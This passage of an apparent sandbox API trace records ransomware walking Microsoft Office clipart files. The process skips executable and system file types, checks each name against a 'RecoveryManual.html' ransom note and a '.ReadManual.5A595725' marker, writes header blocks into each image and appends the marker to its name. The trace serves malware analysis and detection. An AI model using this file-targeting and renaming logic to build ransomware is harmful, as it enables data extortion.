lpSrch=".ReadManual.5A595725") returned 0x0 [0265.676] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0265.676] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0265.676] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0265.676] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0265.676] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0265.676] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0265.676] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0265.676] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0265.676] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0265.676] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0265.676] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0265.676] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0265.676] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0265.676] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0265.676] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" [0265.676] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG.ReadManual.5A595725" [0265.676] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG.ReadManual.5A595725") returned 87 [0265.676] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38634517382) returned 1 [0265.676] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg")) returned 0x20 [0265.677] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.677] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=24528) returned 1 [0265.677] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5fd0, lpName=0x0) returned 0x184 [0265.677] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.678] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.678] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.679] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.680] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5fd0) returned 0x2f0000 [0265.680] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.680] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38634879204) returned 1 [0265.680] CloseHandle (hObject=0x184) returned 1 [0265.680] SetSecurityInfo () returned 0x57 [0265.680] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.680] CloseHandle (hObject=0x194) returned 1 [0265.680] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2378, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099188.JPG", cAlternateFileName="")) returned 1 [0265.680] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099188.JPG" | out: lpString1="J0099188.JPG") returned="J0099188.JPG" [0265.680] lstrcmpiW (lpString1="J0099188.JPG", lpString2="RecoveryManual.html") returned -1 [0265.680] StrStrIW (lpFirst="J0099188.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.680] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0265.680] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0265.681] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0265.681] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0265.681] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0265.681] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0265.681] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0265.681] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0265.681] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0265.681] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0265.681] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0265.681] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0265.681] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0265.681] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0265.681] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" [0265.681] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG.ReadManual.5A595725" [0265.681] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG.ReadManual.5A595725") returned 87 [0265.681] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38634978506) returned 1 [0265.681] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg")) returned 0x20 [0265.682] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.682] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=9080) returned 1 [0265.682] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2378, lpName=0x0) returned 0x184 [0265.682] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.683] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.683] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.685] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.685] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2378) returned 0x2f0000 [0265.685] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.685] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38635403497) returned 1 [0265.685] CloseHandle (hObject=0x184) returned 1 [0265.685] SetSecurityInfo () returned 0x57 [0265.685] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.686] CloseHandle (hObject=0x194) returned 1 [0265.686] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1f8c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099189.JPG", cAlternateFileName="")) returned 1 [0265.686] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099189.JPG" | out: lpString1="J0099189.JPG") returned="J0099189.JPG" [0265.686] lstrcmpiW (lpString1="J0099189.JPG", lpString2="RecoveryManual.html") returned -1 [0265.686] StrStrIW (lpFirst="J0099189.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.686] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0265.686] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0265.686] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0265.686] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0265.686] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0265.686] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0265.686] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0265.686] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0265.686] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0265.686] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0265.686] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0265.686] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0265.686] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0265.686] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0265.686] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" [0265.686] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG.ReadManual.5A595725" [0265.686] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG.ReadManual.5A595725") returned 87 [0265.686] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38635500874) returned 1 [0265.686] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg")) returned 0x20 [0265.687] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.687] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8076) returned 1 [0265.687] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1f8c, lpName=0x0) returned 0x184 [0265.687] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.688] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.688] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.690] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.690] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1f8c) returned 0x2f0000 [0265.690] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.690] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38635908858) returned 1 [0265.690] CloseHandle (hObject=0x184) returned 1 [0265.690] SetSecurityInfo () returned 0x57 [0265.691] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.691] CloseHandle (hObject=0x194) returned 1 [0265.691] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xab74, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099190.JPG", cAlternateFileName="")) returned 1 [0265.691] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099190.JPG" | out: lpString1="J0099190.JPG") returned="J0099190.JPG" [0265.691] lstrcmpiW (lpString1="J0099190.JPG", lpString2="RecoveryManual.html") returned -1 [0265.691] StrStrIW (lpFirst="J0099190.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.691] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0265.691] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0265.691] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0265.691] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0265.691] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0265.691] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0265.691] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0265.691] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0265.691] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0265.691] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0265.691] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0265.691] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0265.691] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0265.691] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0265.691] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG" [0265.691] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG.ReadManual.5A595725" [0265.691] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG.ReadManual.5A595725") returned 87 [0265.691] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38636003955) returned 1 [0265.691] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg")) returned 0x20 [0265.692] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.692] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=43892) returned 1 [0265.692] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xab74, lpName=0x0) returned 0x184 [0265.692] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.694] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.694] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.696] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.696] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xab74) returned 0x2f0000 [0265.697] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.697] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38636621883) returned 1 [0265.697] CloseHandle (hObject=0x184) returned 1 [0265.698] SetSecurityInfo () returned 0x57 [0265.698] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.698] CloseHandle (hObject=0x194) returned 1 [0265.698] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xf39f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099191.JPG", cAlternateFileName="")) returned 1 [0265.698] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099191.JPG" | out: lpString1="J0099191.JPG") returned="J0099191.JPG" [0265.698] lstrcmpiW (lpString1="J0099191.JPG", lpString2="RecoveryManual.html") returned -1 [0265.698] StrStrIW (lpFirst="J0099191.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.698] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0265.698] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0265.698] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0265.698] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0265.698] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0265.698] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0265.698] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0265.698] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0265.698] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0265.698] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0265.698] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0265.698] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0265.698] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0265.698] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0265.698] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG" [0265.698] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG.ReadManual.5A595725" [0265.698] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG.ReadManual.5A595725") returned 87 [0265.698] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38636718622) returned 1 [0265.698] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg")) returned 0x20 [0265.699] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.699] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=62367) returned 1 [0265.699] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf39f, lpName=0x0) returned 0x184 [0265.699] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.700] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.700] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.702] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.702] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf39f) returned 0x2f0000 [0265.706] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.706] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38637488618) returned 1 [0265.706] CloseHandle (hObject=0x184) returned 1 [0265.706] SetSecurityInfo () returned 0x57 [0265.706] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.706] CloseHandle (hObject=0x194) returned 1 [0265.706] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x462c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099192.GIF", cAlternateFileName="")) returned 1 [0265.706] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099192.GIF" | out: lpString1="J0099192.GIF") returned="J0099192.GIF" [0265.707] lstrcmpiW (lpString1="J0099192.GIF", lpString2="RecoveryManual.html") returned -1 [0265.707] StrStrIW (lpFirst="J0099192.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.707] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0265.707] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0265.707] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0265.707] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0265.707] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0265.707] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0265.707] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0265.707] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0265.707] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0265.707] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0265.707] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0265.707] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0265.707] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0265.707] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0265.707] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF" [0265.707] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF.ReadManual.5A595725" [0265.707] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft 